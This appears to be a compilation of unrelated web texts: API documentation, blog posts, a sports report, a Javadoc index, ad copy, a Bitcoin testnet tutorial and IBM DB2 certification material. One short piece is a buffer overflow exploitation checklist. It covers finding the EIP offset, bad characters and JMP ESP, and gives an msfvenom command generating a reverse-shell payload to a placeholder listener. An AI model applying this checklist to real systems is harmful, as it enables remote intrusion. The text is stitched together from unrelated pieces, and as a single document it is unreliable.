- Text to render. The text color is the current pen color.
- Parameter aOutPos
- Output position of the text. This is the left or right edge,
depending on nTextDirection. Output position is always
relative to the font baseline.
- Parameter nTextDirection
- A value from the TextDirection collection,
denoting the main writing direction for this string. The main
writing direction determines the origin of the text output,
i.e. the left edge for left-to-right and the right edge for
right-to-left text.
|
|
drawBitmap
- Description
- Draws the bitmap on the canvas.
- Parameter xBitmap
- Bitmap to render
- Parameter aLeftTop
- Left, top position of the bitmap on the destination canvas.
|
|
getDevice
- Description
- Request the associated graphic device for this canvas.
A graphic device provides methods specific to the underlying
output device capabilities, which are common for all canvases
rendering to such a device. This includes device resolution,
color space, or bitmap formats.
- Returns
- the associated XGraphicDevice.
|
|
getCanvas
- Description
- Query the underlying XCanvas.
- Returns
- the canvas interface this object is internally based
on.
|
|
getFontMetrics
- Description
- Request the font metrics of the current font.
- Returns
- the font metrics of the currently selected font.
|
|
getCurrentFont
- Description
- Retrieve currently selected font.
- Returns
- the font instance that's currently used for rendering
text.
|
|
getCurrentPenColor
| ::com::sun::star::util::Color |
| getCurrentPenColor(); |
- Description
- Retrieve color currently used for lines.
|
|
getCurrentFillColor
| ::com::sun::star::util::Color |
| getCurrentFillColor(); |
- Description
- Retrieve color currently used for fills
|
|
getCurrentClipRect
- Description
- Retrieve current clip rect
|
|
getCurrentTransformation
- Description
- Retrieve current transformation matrix
|
|
getCurrentViewState
- Description
- Retrieve view state.
- Returns
- the view state, that would generate matching output,
when rendering to an XCanvas instead.
|
|
getCurrentRenderState
| RenderState |
| getCurrentRenderState( |
[in] boolean |
bUseFillColor ); |
- Description
- Retrieve render state.
- Parameter bUseFillColor
- When true, the Color member of the RenderState is initialized
with the current fill color; when false, the current pen color
is used.
- Returns
- the render state, that would generate matching output,
when rendering to an XCanvas instead.
|
|
Copyright © 2013, The Apache Software Foundation, Licensed under the Apache License, Version 2.0. Apache, the Apache feather logo, Apache OpenOffice and OpenOffice.org are trademarks of The Apache Software Foundation. Other names may be trademarks of their respective owners.


This program is sponsored by the National Institutes of Health (project number 1T34GM141971-01) and is a partnership of the Office of the Provost, the Division of Academic Engagement and Student Achievement, the Graduate School, with WSU’s Voiland College of Engineering and Architecture and the College of Veterinary Medicine.


Buffer Overflow
Determine length of overflow trigger w/ binary search "A"x1000
Determine exact EIP with pattern_create.rb -l 1000, & pattern_offset.rb -q <pattern>
Determine badchars to make sure all of your payload is getting through (Mona has a good module for this, probably others too)
Disassemble/Objdump and find an address for JMP ESP (0xff,0xe4), CALL ESP, or other
Develop exploit
Is the payload right at ESP
JMP ESP
Is the payload before ESP
sub ESP, 200 and then JMP ESP
or
call [ESP-200]
NOPsled into payload (or \xCC to break so you know where you're actually landing)
msfvenom -a x86 --platform windows/linux -p something/shell_reverse_tcp lhost=x.x.x.x lport=53 -f exe/elf/python/perl/php -o filename
Make sure it fits your payload length above
Make sure no bad chars
Gain shell, local priv esc or rooted already?
Short jumps?
Try jumping to environment variables instead


You guys, I am seriously in one of those music-devouring phases again (yes know, hard to believe, but they really are phases, it's not a constant thing) and the devouring has come from two sources, one of them fairly unlikely.
The real source was a recent Sound Opinions episode, during which they covered their Best of 2008 (so far). This kind of thing always charges me up, and I love listening to Kot and Dero because I typically get turned on to a few things that I want to check out (and also vehemently disagree with them on a few things).
Well, this time around, Dero decided to defend the Red Album.
Yes, that Red Album.
Weezer seemed to have gone from brilliant to totally gone to exciting to bleh, earning themselves one of my favorite music reviews of all time in the process. I had given up on them doing anything worth hearing based on second-hand snobbery from that review (and I will now come clean: I do actually like that "Beverly Hills Song)(though seriously, "We Are All On Drugs?" I am pretty sure that Cuomo singing one of his Harvard papers would have been more interesting), and so it was weird to hear Derogatis gushing about Weezer. Prog-rock and Rush-leanings aside, Dero rarely gushes about stuff that isn't worth at least checking out.
He started to talk about a song called "The Greatest Man That Ever Lived (Variations on a Shaker Hymn)" and I thought, "oh here we go, pretension disguised as fun, please," but then he played it and I was like, "who the hell is this?" It starts off sounding like a Modest Mouse song and then goes through about four different versions of the song, including an intro that has about 9 different power chords palm muted in a seemingly random way and a Beach Boys style a capella section and...well, as Dero pointed out, this was a band that used to make complicated songs out of disparate parts, and here they were doing it again.

Another song that he mentioned is called "Heartsongs," and although that one has one verse too many (the last verse is a bit TOO much), it's an ode to music that they love that will probably inspire another post 'round these parts. Oh, and did I mention that it sticks in your brain? Seriously, I would have to start another twitter feed called "Weezer earworms" for this one.
Is the whole album great? It seems like maybe not, though actually, I don't know. It seems like there are some standouts, definitely, but the thing is, those songs are so great that I haven't really delved into the rest of the album much.
I'm really happy to know that I don't need to write them off any more though. I always sort of forget about Weezer, but you better believe that nearly every time I spot the Blue Album on a jukebox, I play "In the Garage" or "Surf Wax America."
Enjoy my first nomination for song of the summer.
****
"The Greatest Man That Ever Lived (Variations on a Shaker Hymn)," Weezer
[audio:TheGreatestManThatEverLived.mp3]


To use an alias, type a registered alias in the address bar followed by
a FORWARD SLASH (/).
Example: If the alias for www.google.com is set as g, then
in the address bar type g/.
PLACEHOLDERS:
In the url entry, use DOUBLE PERCENTAGE SIGN (%%)
to specify a placeholder.
To use a placeholder, type the substitutions for respective placeholders
separated by FORWARD SLASH (/).
Do append a FORWARD SLASH (/) to
whatever entered in the address bar.
Example 1: To search for something on Google,
one can set alias g for google.com/search?q=%%, then in the address bar type g/cars/ to search for cars. Here %% is the placeholder and cars
typed in the address bar is the argument passed.
Example 2:Multiple
Placeholders: If the
alias for some_url/%%/bla_bla/%%/bla_bla is set as test, then in the address bar type test/arg1/arg2/ to redirect to https://some_url/arg1/bla_bla/arg2/bla_bla.
Aliases
URL
ALIAS
Version History
Major Releases
Version 1.3.3 : June, 2020
UI fixes.
Version 1.3.0
Added support for schemes other than 'http(s)://'.
Users can now add aliases for chrome urls like 'chrome://extensions',
'file://filepath', etc.
Version 1.2.5
Minor bugfixes.
Version 1.2.0
[Major Bugfix] Fixed inconsistency in redirection issue.
Version 1.1.0
Added support for syncing aliases with Google Account.


--- layout: newsstory title: NO MESSING match: Yeltz 3 Stourport 0 ---
Six clean sheets in a row. Is this some kind of record?
An early goal from Andy Jones , and then two more late on from Kerry Giddings and Jones again led to yet another 3 points. We've now moved up to 3rd in the table . Things are going very well aren't they?
Saturday takes us back to Moor Green in the FA Cup , which will be a good test of our progress so far this season. Unfortunately I'm pretty confident :-)


A B C D E G H I L M N O P R S T U V W
All Classes All Packages
All Classes All Packages
All Classes All Packages
D
- DatabaseConnector - Class in ServerAndDatabase.Database
-
This class connects to the database
- DatabaseConnector() - Constructor for class ServerAndDatabase.Database.DatabaseConnector
- DateHandler - Class in DeliveryManSystem
-
This class contains methods to manage dates
- DateHandler - Class in PickupPointSystem
-
This class contains methods to manage dates
- DateHandler() - Constructor for class DeliveryManSystem.DateHandler
- DateHandler() - Constructor for class PickupPointSystem.DateHandler
- deleteText() - Method in class DeliveryManSystem.GraphicalInterfaceClientSystem.LoginPanel
-
This method delete credentials for better security
- deleteText() - Method in class PickupPointSystem.GraphicalInterface.InsertCodePanel
-
This method deletes the text from the JTextField textF.
- deleteText() - Method in class PickupPointSystem.GraphicalInterface.LoginDelManPanel
-
This method deletes the text from the password and id text fields
- DeliveryMail - Class in PickupPointSystem.Server.NotificationSystem
- DeliveryMail(String, String, String, String, Date, String, String) - Constructor for class PickupPointSystem.Server.NotificationSystem.DeliveryMail
-
This is the constructor
- DeliveryMan - Class in DeliveryManSystem
-
This class represents the delivery man, there are methods to send the credentials to the pickup point and methods that return the deliveries to do and those expired.
- DeliveryMan(String, String) - Constructor for class DeliveryManSystem.DeliveryMan
-
The constructor.
- DeliveryManClient - Class in DeliveryManSystem.Client
-
This class connects the deliveryman to the pickup point server
- DeliveryManClient() - Constructor for class DeliveryManSystem.Client.DeliveryManClient
- deliveryManGet(String) - Method in class PickupPointSystem.DatabaseSystem.Mappers.MainServerConnector
-
This method gets the deliveryman's password given his ID from the database
- DeliveryManMain - Class in DeliveryManSystem
- DeliveryManMain() - Constructor for class DeliveryManSystem.DeliveryManMain
- DeliveryManMapper - Class in DeliveryManSystem.DatabaseSystem.Mappers
-
This class returns DeliveryManTable objects from the database
- DeliveryManMapper - Class in PickupPointSystem.DatabaseSystem.Mappers
-
This class returns DeliveryManTable objects from the database
- DeliveryManMapper() - Constructor for class DeliveryManSystem.DatabaseSystem.Mappers.DeliveryManMapper
- DeliveryManMapper() - Constructor for class PickupPointSystem.DatabaseSystem.Mappers.DeliveryManMapper
- DeliveryManSystem - package DeliveryManSystem
- DeliveryManSystem.Client - package DeliveryManSystem.Client
- DeliveryManSystem.DatabaseSystem - package DeliveryManSystem.DatabaseSystem
- DeliveryManSystem.DatabaseSystem.Mappers - package DeliveryManSystem.DatabaseSystem.Mappers
- DeliveryManSystem.DatabaseSystem.Tables - package DeliveryManSystem.DatabaseSystem.Tables
- DeliveryManSystem.Exceptions - package DeliveryManSystem.Exceptions
- DeliveryManSystem.GraphicalInterfaceClientSystem - package DeliveryManSystem.GraphicalInterfaceClientSystem
- DeliveryManSystem.Observers - package DeliveryManSystem.Observers
- DeliveryManTable - Class in DeliveryManSystem.DatabaseSystem.Tables
-
This class represents the 'deliverymen' database table
- DeliveryManTable - Class in PickupPointSystem.DatabaseSystem.Tables
-
This class represents the 'deliverymen' database table
- DeliveryManTable(String, String) - Constructor for class DeliveryManSystem.DatabaseSystem.Tables.DeliveryManTable
-
The constructor.
- DeliveryManTable(String, String) - Constructor for class PickupPointSystem.DatabaseSystem.Tables.DeliveryManTable
-
The constructor.
- DeliveryMapper - Class in DeliveryManSystem.DatabaseSystem.Mappers
-
This class returns DeliveryTable objects from the database
- DeliveryMapper - Class in PickupPointSystem.DatabaseSystem.Mappers
-
This class returns DeliveryTable objects from the database
- DeliveryMapper() - Constructor for class DeliveryManSystem.DatabaseSystem.Mappers.DeliveryMapper
- DeliveryMapper() - Constructor for class PickupPointSystem.DatabaseSystem.Mappers.DeliveryMapper
- DeliveryTable - Class in DeliveryManSystem.DatabaseSystem.Tables
-
This class represents the 'deliveries' database table
- DeliveryTable - Class in PickupPointSystem.DatabaseSystem.Tables
-
This class represents the 'deliveries' database table
- DeliveryTable(String, String, Date, int, String, String) - Constructor for class DeliveryManSystem.DatabaseSystem.Tables.DeliveryTable
-
The constructor.
- DeliveryTable(String, String, Date, int, String, String) - Constructor for class PickupPointSystem.DatabaseSystem.Tables.DeliveryTable
-
The constructor.
- differenceInDays(Date, Date) - Method in class DeliveryManSystem.DateHandler
-
This method calculates the difference in days between two dates.
- differenceInDays(Date, Date) - Method in class PickupPointSystem.DateHandler
-
This method calculates the difference in days between two dates.
All Classes All Packages


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{{favorites.favoriteCount}}
Songs
Search for your favorite music artist and find about more in this Song List


{% extends base_template|default:"lgr_advanced/_base.html" %} {% load i18n %} {% block content %} {% url 'codepoint_list' lgr_pk=lgr_object_1.pk model=lgr_object_1.model_name as lgr_1_url %} {% url 'codepoint_list' lgr_pk=lgr_object_2.pk model=lgr_object_2.model_name as lgr_2_url %}
{% trans "Please download and edit it manually before importing it in LGR Toolset." %}
{% trans "To help, here is the error log from the validation:" %}


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Are you looking for someone who could upload products on your Magento based website? At webenlance India, we can effectively help you with our top quality Magento product upload services. With the pool of well experienced and talented experts, we ensure that your customers have an enriching experience every time they visit your website. Our comprehensive range of services is available all over the globe at extremely low cost.
Also a data entry company from India, we provide time-bound and high-quality data entry services and encourage our clients to outsource end-to-end data entry projects to us.
Are you looking for someone who could upload products on your Magento based website? At webenlance India, we can effectively help you with our top quality Magento product upload services. With the pool of well experienced and talented experts, we ensure that your customers have an enriching experience every time they visit your website. Our comprehensive range of services is available all over the globe at extremely low cost.
Also a data entry company from India, we provide time-bound and high-quality data entry services and encourage our clients to outsource end-to-end data entry projects to us.
Are you looking for someone who could upload products on your Magento based website? At webenlance India, we can effectively help you with our top quality Magento product upload services. With the pool of well experienced and talented experts, we ensure that your customers have an enriching experience every time they visit your website. Our comprehensive range of services is available all over the globe at extremely low cost.
Also a data entry company from India, we provide time-bound and high-quality data entry services and encourage our clients to outsource end-to-end data entry projects to us.
Are you looking for someone who could upload products on your Magento based website? At webenlance India, we can effectively help you with our top quality Magento product upload services. With the pool of well experienced and talented experts, we ensure that your customers have an enriching experience every time they visit your website. Our comprehensive range of services is available all over the globe at extremely low cost.
Also a data entry company from India, we provide time-bound and high-quality data entry services and encourage our clients to outsource end-to-end data entry projects to us.


GETTING
STARTED
RC BASIC
Operators
Variables and Data Types
Arrays
Input/Output
Flow Control
Loops
Functions and Sub Routines
Scope
Keywords
Comments
Graphics and Sounds
Keyboard Codes
Escape Characters
LIBRARY
REFERENCE
Console I/O
Arrays
Math
Strings
Stack
File I/O
Directories
Date and Time
Window Management
Canvases
Graphics Primitives
Images
Keyboard and Mouse
Sounds and Music
Joystick
Screen Console
Text Editing
Drawing Text
Touch Events
Networking
Video Playback
Operating System


I’ve never been one to sit down and write out my thoughts or feelings so a blog is a new venture to me so here goes nothing:
I made the decision to repeat module one and looking at my first time around and when I completed Mod 1: The Sequel (as I came to affectionately call it) I can honestly say it was the best decision that I could have made.
The first time around I struggled to really understand what was going on enough to be able to ask questions in regards to what it was that I didn’t know, which definitely took some getting used to. By the end I felt I had a decent understanding of what it was that my programs were doing and how they were doing it. That being said I was struggling with how to break things down and how to create solid testing for what I was creating.
When it boiled down to it the decision to repeat was one of the easiest and yet one of the most difficult decisions I’ve had to make in quite sometime. Admitting that you are not where you want to be and that you could use more time and help can be very overwhelming.
Mod 1 the sequel overall was a much more enjoyable experience, the difference in my ability to grasp the information was like night and day. My overall comfort with the information allowed me to help my fellow classmates more (which in turn reenforced my knowledge) and be far more involved in the community.
By far my favorite technical concept is the one that I struggled with the most: TDD. TDD (or Test Driven Development) was by far my achilles heel through all of my first go-around with mod 1 and part of my second time. I understood the importance of it and how it was there to help us but I struggled with what it was that should be tested and how it should be tested. The simple answer to that first question is EVERYTHING should be tested. One day I was looking on Youtube for videos on TDD and I came across this gem. It really put a lot in perspective for me in regards to TDD and set me on the path towards success.
I look forward to taking the things I have learned and the techniques I have acquired into Mod 2 as I continue this journey called Turing.
During our second week of the second module we worked on a project called Bike Share. We essentially created a web application that utilized the information of the bike rental stations in and around San Francisco. This application included information pertaining to the stations, trips that customers went on using the bikes, and weather information on a given day. Utilizing this information we were then required to make tables for storing the database information as well as creating all the relationships. At this point in time we had not learned Rails yet so all of the relationships, foreign keys, and needed to set up our database were created manually after spending time researching how to create such relationships. This process was both tedious and time consuming.
After completing our project we started to learn about Rails. After an hour tutorial we had completed the basic functionality of the Bike Share project that had taken us over a week to complete. As we dove more into what Rails was and what all it did for us it blew me away everything that it took care of for us.
In the Marvel Universe Uncle Ben once told Peter Parker that “With great power comes great responsibility”. With Rails the phrase is just as true.  You can also create your migration tables with all the necessary information in it. There are also terminal commands that allow you to create the table, migrate it, and create the necessary models for the application.
This can be both an amazing tool and also cause for some tremendous problems.  The best advice that I can give anyone is before you start to use Rails to create your applications is to first create one without it. Get familiar with all that goes into creating the tables, the controllers, and the many other things that go creating a functioning application. It will make setup and troubleshooting much easier when you start to dive into making a Rails project.
During my final module at Turing we were required to make contributions to the open source community. The apsect of other people seeing and incorporating my work was both exciting and daunting. I was ready to take on this challenge! But first I had to find the answer to an important question: Where was I going to try and contribute?
As I started my process of trying to decide where to contribute I tried to think of open source repositories I knew of. After a few days of research I decided on the gem Faker. I had used Faker ever since module 2 to help me when seeding information into my database or test suites. This brought up question number two: What was I going to add to Faker?
I had honed in on wanting to create something for Faker but I had no idea what, all I knew is that I wanted to enjoy what I was creating. After looking through the Faker extensions and brainstorming what it was that I wanted to make, I decided to share my love for the show "How I Met your Mother" with the developer community and opted to build an extension for Faker. After gathering all the information I wanted to include in the extension I began to familiarize myself with the setup for Faker.
Faker is written in Ruby so overall the learning curve was very small. Most of the challeneges arose from familiarizing myself with the conventions that they used. The entire process of creating the How I Met Your Mother extension took only about an hour. It actually took longer to find the data that I wanted to be in my extension. I made a PR to the faker repository and it was merged within a few hours. Overall it was a very exciting and enjoyable experience.


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12. Testnet Wallet Transactions
We have made this lesson, assuming that have downloaded Bitcoin-Core v.016, from here https://bitcoincore.org/bin/bitcoin-core-0.16.3/. We recommend you to use this version, to follow along these and further lessons.
This is the latest version available while making this lesson.
If you are using v0.17, we have added new instructions for you, so skip this concept and go to the next one "Bitcoin Core v0.17: Wallet Creation and Coin Transfer" and follow those instructions.
 It’s important to understand how to make and manage transactions using your wallet. Generally, you’d make transactions with the owner of another wallet.
To start testing transactions, you’ll need to make these same transactions on your local computer. To do this, you’ll need multiple wallets that allow you to jump back and forth to check out the transactions your making.
Here, we’ll learn how to do exactly that.
We’ll create multiple wallets then start to send transactions between them.
Upcoming Steps
To do this we’ll go through a few steps…
- Step 1: Find your Wallet
- Step 2: Create New Wallets
- Step 3: Set up Bitcoin.config file
- Step 4: Open Receiving Wallet
- Step 5: Get Receiving Address
- Step 6: Switch to sending Wallet
- Step 7: Get Testnet Coins
- Step 8: Make a Transaction
- Step 9: Check Transaction in Receiving Wallet
This is a lot of steps, but it’s a great way to send transactions among multiple wallets that you own. This will allow you to pass coins between wallets both now, and later programmatically when we start building applications.
Step 1: Find your Wallet
From the user interface, we can’t actually create and jump between multiple wallets. What we need to do is create new wallets out of the files that store our application information.
Navigate into the folder that contains all of your bitcoin core files.
Within the main folder, you’ll see one labeled testnet3.
Go into this folder and look for the sub-folder labeled wallets.
What you should see is a file named wallet.dat. This is the main file that stores all of the information for your wallet.
Step 2: Create New Wallets
To easily create new test wallets, you can duplicate this file. (Right click + Duplicate)
- For this example, duplicate this wallet 2 times.
- Rename one of the copies sending.dat
- Name the other copy receiving.dat.
As the names suggest, we’ll use the sending wallet to send test coins to the receiving wallet with our transaction.
Step 3: Set up Bitcoin Config File
Before we move on, it’s important to know how to get into each of these wallets. By default, the bitcoin core application will look for the wallet.dat file to load along with the application.
One way to open a wallet is to rename the one you want opened to wallet.dat before you load the application. While this is possible, it’s not really the best option.
What I prefer is to change the name of what the application is looking for. Many default options that you might like to override can be changed using the bitcoin config file.
This is the same file we use to change between networks.
- To make this change, open the bitcoin.config file and type wallet = .
Next, type in the wallet name you want loaded.
Once you save the file this is will be the default wallet for your application. One thing to note is that if you type in a name here that doesn’t exist, a wallet with that name will be created when you first load the application.
Ok, knowing that, let’s type in both of our wallet names.
- wallet = sending.dat
- wallet = receiving.dat
Step 4: Open Receiving Wallet
We’ll start by opening the receiving wallet, so for now, comment out the sending.dat line with a #.
- #wallet = sending.dat
Once you’re in, you can check the wallet name by going to the debug console and typing in getwalletinfo.
This shows us all the wallet information, and most importantly for right now, we can see that our wallet name is receiving.dat.
Step 5: Get Receiving Address
We’re only going to use this wallet to receive money from our sending wallet.
To do this we need a receiving address.
- To get one Go to file > receiving addresses > new address
- Then copy the address and put it somewhere like a text document.
Step 6: Switch to Sending Wallet
Now we want to switch over to our sending wallet.
- In the bitcoin config file, remove the comment from the sending wallet and add it to the receiving wallet.
- Now restart the application again.
- wallet = sending.dat
- #wallet = receiving.dat
Once inside the wallet, head back to the debug console and check the name of the wallet using getwalletinfo.
Looks like we’re in the sending wallet just like we wanted.
The problem now is that we don’t have any coins to send.
To get some, we can go back to the public faucet and request coins like we did before.
Step 7: Get testnet coins
To get testnet coins go to Testnet Faucet
Create and copy a receiving address for this wallet and request coins from the faucet.
Soon you should have some testcoins that we can send over to our receiving wallet.
You can check the overview tab to see both the transaction and the new balance.
After all of this, we’re finally ready to make a transaction.
Step 8: Make a Transaction
Go to the send tab and paste in the receiving address you had stored from your receiving wallet.
Add in a label, an amount, and a transaction fee if you’d like.
Once you hit send, the transaction will begin.
Back on the overview page, you’ll see a new recent transaction for the amount you specified.
You’ll also see that the available balance has decreased.
Step 9: See Transaction on Receiving Wallet
The transaction is done, and we could stop here, but it’ll be nice to see if the transaction has been received by the receiving wallet.
To do this, we need to switch wallets just like before.
- Make the small changes to the bitcoin config file and restart the application.
Now, in the overview of your receiving wallet, you should see that the balance has gone up, and that there’s been a recent transaction for the amount you specified.
If you didn’t add in the transaction fee up front, you’ll notice that the amount you received is actually slightly less than what you might expect. That’s because the transaction fee was taken out of the total amount you sent.
Wrapping Up
That’s how to create transactions using your bitcoin core wallet. What we did here is actually WAY more than create a transaction. Making the transaction was really the simple part of all this. All it takes to do this is to put a receiving address, and an amount using the send tab.
All the other steps we did were mostly to prepare us for testing and help us make transactions with ourselves. What we really did was set up 2 extra test wallets, got some coins from a faucet, and send those coins from one wallet to another.
We’ll continue to use these test wallets as we build and test applications in the future.


Abstract
Renewable and alternative fuels for aviation have advantages of lesser emissions and clean burning ability. This project involves modeling the oxidation of these fuels using a representative mixture. Theoretical in nature, the research focus is on identifying such a suitable mixture and arriving at a kinetic scheme to predict the fuel's combustion behavior from a fundamental approach. This opens up avenues to study several `drop-in alternatives' to current day aviation fuels.
Pre-requisite
Strong desire to pick up combustion kinetics concepts (no prior familiarity is required)


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About me: I'm a former educator looking to try something new after living in San Francisco for seven years I've decided to try to learn to code. My previous computer experience is limited to the blog I made with my friends about video game fashion. Silly? Maybe. Important? Not at all. Fun to discuss? Most definitely.


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Recognized throughout the world, the Professional Certification Program from IBM offers a range of certification options for IT professionals. This chapter is designed to introduce you to the various paths you can take to obtain DB2 9 Certification from IBM and to describe the testing software you will use when you sit down to take your first DB2 9 certification exam.
One of the biggest trends in the IT industry today is certification. Many application and software vendors now have certification programs in place that are designed to evaluate and validate an individual's proficiency with the vendor's latest product release. In fact, one of the reasons the Professional Certification Program from IBM was developed was to provide a way for skilled technical professionals to demonstrate their knowledge and expertise with a particular version of an IBM product.
The Professional Certification Program from IBM is comprised of several distinct certification roles that are designed to guide you in your professional development. You simply select the role that's right for you, and then you begin the certification process by choosing the role you wish to pursue and familiarizing yourself with the requirements for that role. The following subsections are designed to help get you started by providing you with the prerequisites and requirements associated with each DB2 9 certification available.
The IBM Certified Database Associate-DB2 9 Fundamentals certification is intended for entry-level DB2 9 users who are knowledgeable about the fundamental concepts of DB2 9 for Linux, UNIX, and Windows, DB2 9 for zSeries (OS/390), or DB2 9 for iSeries (AS/400). In addition to having some hands-on experience, some formal training, or both on DB2 9, individuals seeking this certification should:
Know what DB2 9 products are available and be familiar with the various ways DB2 9 is packaged
Know what DB2 9 products must be installed in order to create a desired environment
Know what features and functions are provided by the various tools that are shipped with DB2 9
Possess a strong knowledge about the mechanisms DB2 9 uses to protect data and database objects against unauthorized access and/or modification
Know how to create, access, and manipulate basic DB2 objects, such as tables, views, and indexes
Be familiar with the different types of constraints that are available and know how each is used
Be familiar with how XML data can be stored and manipulated
Possess an in-depth knowledge of Structured Query Language (SQL), Data Definition Language (DDL), Data Manipulation Language (DML), and Data Control Language (DCL) statements that are available with DB2 9
Have a basic understanding of the methods used to isolate transactions from each other in a multi-user environment
Be familiar with the methods used to control how locking is performed
In order to acquire the IBM Certified Database Associate-DB2 9 Fundamentals certification, candidates must take and pass one exam: the DB2 9 Family Fundamentals exam (Exam 730). The roadmap for acquiring the IBM Certified Database Associate-DB2 9 Fundamentals certification is illustrated in Figure 1-1.
The IBM Certified Database Administrator-DB2 9 for Linux, UNIX, and Windows certification is intended for experienced DB2 9 users who possess the knowledge and skills necessary to perform the day-to-day administration of DB2 9 instances and databases residing on Linux, UNIX, or Windows platforms. In addition to being knowledgeable about the fundamental concepts of DB2 9 and having significant hands-on experience as a DB2 9 Database Administrator (DBA), individuals seeking this certification should:
Know how to configure and manage DB2 9 instances
Know how to configure client/server connectivity
Be able to obtain and modify the values of environment/Registry variables
Be able to obtain and modify DB2 Database Manager (instance) and database configuration file parameter values
Know how to use Automatic Maintenance and self-tuning memory
Know how to create DB2 9 databases
Possess a strong knowledge about SMS, DMS, and Automatic Storage table spaces, as well as be familiar with the management requirements of each
Know how to create, access, modify, and manage the different DB2 objects available
Know how to manage XML data
Be able to create constraints on and between table objects
Know how to capture and interpret snapshot monitor data
Know how to create and activate event monitors, as well as capture and interpret event monitor data
Know how to capture and analyze Explain information
Know how to use the DB2 Control Center and other GUI tools available to manage instances and databases, create and access objects, create tasks, schedule jobs, and view Explain information
Possess an in-depth knowledge of the EXPORT, IMPORT, and LOAD utilities
Know how to use the REORGCHK, REORG, REBIND, RUNSTATS, db2look, db2move, and db2pd utilities
Know how to perform database-level and table space-level backup, restore, and roll-forward recovery operations
Have a basic understanding of transaction logging
Be able to interpret information stored in the administration notification log
Possess a strong knowledge about the mechanisms DB2 9 uses to protect data and database objects against unauthorized access and/or modification
Candidates who have either taken and passed the DB2 V8.1 Family Fundamentals exam (Exam 700) or acquired the IBM Certified Database Administrator-DB2 V8.1 for Linux, UNIX, and Windows certification (by taking and passing Exams 700 and 701) must take and pass the DB2 9 for Linux, UNIX, and Windows Database Administration exam (Exam 731) to acquire the IBM Certified Database Administrator-DB2 9 for Linux, UNIX, and Windows certification. All other candidates must take and pass both the DB2 9 Family Fundamentals exam (Exam 730) and the DB2 9 for Linux, UNIX, and Windows Database Administration exam (Exam 731). The roadmap for acquiring the IBM Certified Database Administrator-DB2 9 for Linux, UNIX, and Windows certification can be seen in Figure 1-2.
Candidates who already hold the IBM Certified Database Administrator-DB2 V8.1 for Linux, UNIX, and Windows certification may opt to take the DB2 9 for Linux, UNIX, and Windows Database Administration Upgrade exam (Exam 736) to acquire the IBM Certified Database Administrator-DB2 9 for Linux, UNIX, and Windows certification. This exam, which is half the length and half the cost of the DB2 9 for Linux, UNIX, and Windows Database Administration exam (Exam 731), is designed to test a candidate's knowledge of the new features and functions that are provided in DB2 9. Essentially, the upgrade exam provides certified DB2 Version 8.1 DBAs an accelerated approach for acquiring an equivalent Version 9 certification. This accelerated approach is outlined in Figure 1-3.
The IBM Certified Database Administrator-DB2 9 for z/OS certification is intended for experienced DB2 9 users who possess the knowledge and skills necessary to perform the day-to-day administration of DB2 9 instances and databases residing on OS/390 platforms. In addition to being knowledgeable about the fundamental concepts of DB2 9 and having significant hands-on experience as a DB2 9 Database Administrator, individuals seeking this certification should:
Know how to convert a logical database design to a physical database design
Know how to create, access, modify, and manage the various DB2 9 objects available
Know how to interpret the contents of system catalogs and directories
Possess a strong knowledge about the activities associated with enabling stored procedures
Be familiar with the different types of constraints available and know how each is used
Possess an in-depth knowledge of the Structured Query Language (SQL), Data Definition Language (DDL), Data Manipulation Language (DML), and Data Control Language (DCL) statements that are available with DB2 9
Know the difference between static and dynamic SQL
Know how to manage storage allocation with tools such as VSAM DELETE, VSAM DEFINE, and STOGROUP
Be familiar with DB2 Disaster Recovery
Possess a basic understanding of the different object statuses available (for example: RECP, GRECP, LPL, and RESTP)
Be able to describe the effects of COMMIT frequency
Know how to capture and analyze Explain information
Know how to capture and analyze DB2 Trace data
Be able to determine the best characteristics for an index
Be able to describe the benefits of data sharing
Be able to describe the features that enable around-the-clock availability
Know how to use the REORG, BIND, REPAIR, UNLOAD, RUNSTATS, LOAD, and MODIFY utilities, including being able to restart a failed utility
Know how to use the DISPLAY, START, STOP, ALTER, RECOVER, and TERM UTILITY commands
Possess a basic understanding of the CHECK DATA/INDEX/LOB utility
Be able to demonstrate how DB2I is used
Be able to identify the functions of the Control Center
Possess a strong knowledge about the mechanisms DB2 9 uses to protect data and database objects against unauthorized access and modification
Candidates who have either taken and passed the DB2 V8.1 Family Fundamentals exam (Exam 700) or acquired the IBM Certified Database Administrator-DB2 V8.1 for z/OS and OS/390 certification (by taking and passing Exams 700 and 702) must take and pass the DB2 9 for z/OS Database Administration exam (Exam 732) to acquire the IBM Certified Database Administrator-DB2 9 for z/OS certification. All other candidates must take and pass both the DB2 9 Family Fundamentals exam (Exam 730) and the DB2 9 for z/OS Database Administration exam (Exam 732). The roadmap for acquiring the IBM Certified Database Administrator-DB2 9 for z/OS certification can be seen in Figure 1-4.
The IBM Certified Application Developer-DB2 9 Family certification is intended for intermediate- to advanced-level application developers who possess the knowledge and skills necessary to create applications that interact with DB2 9 databases residing on supported platforms, including Linux, AIX, HP-UX, Sun Solaris, Windows, zSeries (z/OS, OS/390), and iSeries (AS/400). In addition to being knowledgeable about the fundamental concepts of DB2 9 and having strong skills in embedded SQL programming, ODBC/CLI programming, JDBC programming, or SQLJ programming, individuals seeking this certification should:
Be familiar with the naming conventions used to identify DB2 9 objects
Know what authorities and privileges are needed in order to access data with an application
Possess an in-depth knowledge of the complex database objects available with DB2 9
Possess an in-depth knowledge of the Structured Query Language (SQL), Data Definition Language (DDL), Data Manipulation Language (DML), and Data Control Language (DCL) statements that are available with DB2 9
Know the difference between static and dynamic SQL
Possess an in-depth knowledge of the SQL functions available
Know when to use Embedded SQL, CLI/ODBC, JDBC, SQLJ, PHP, PERL, PYTHON, .NET, and XML
Be able to query tables across multiple tables and views
Be able to identify the types of cursors available, as well as know when to use cursors in an application and what their scope will be
Be able to work with materialized query tables (MQTs)
Be able to identify the results of XML parsing and XML serialization
Possess an in-depth knowledge of XML document encoding management
Know how XML schemas are validated
Be able to execute and identify the results of an XQuery expression
Be familiar with the SQL/XML functions that are available with DB2 9
Be able to establish a connection to a database within an Embedded SQL, CLI/ODBC, JDBC, SQLJ, or .NET application
Possess the ability to analyze the contents of an SQL Communications Area (SQLCA) data structure
Possess the ability to obtain and analyze ODBC/CLI diagnostic information
Possess the ability to obtain and analyze JDBC trace, SQL exception, and JDBC error log information
Possess the ability to obtain and analyze .NET diagnostic information
Be able to query tables across multiple databases, including federated databases
Possess the ability to create triggers and identify their results
Know how to cast data types
Know when to use Compound SQL, parameter markers, and distributed units of work
Know when to use user-defined functions (UDFs) and stored procedures
Know how to create UDFs and stored procedures
Be familiar with the DB2 Developer Workbench
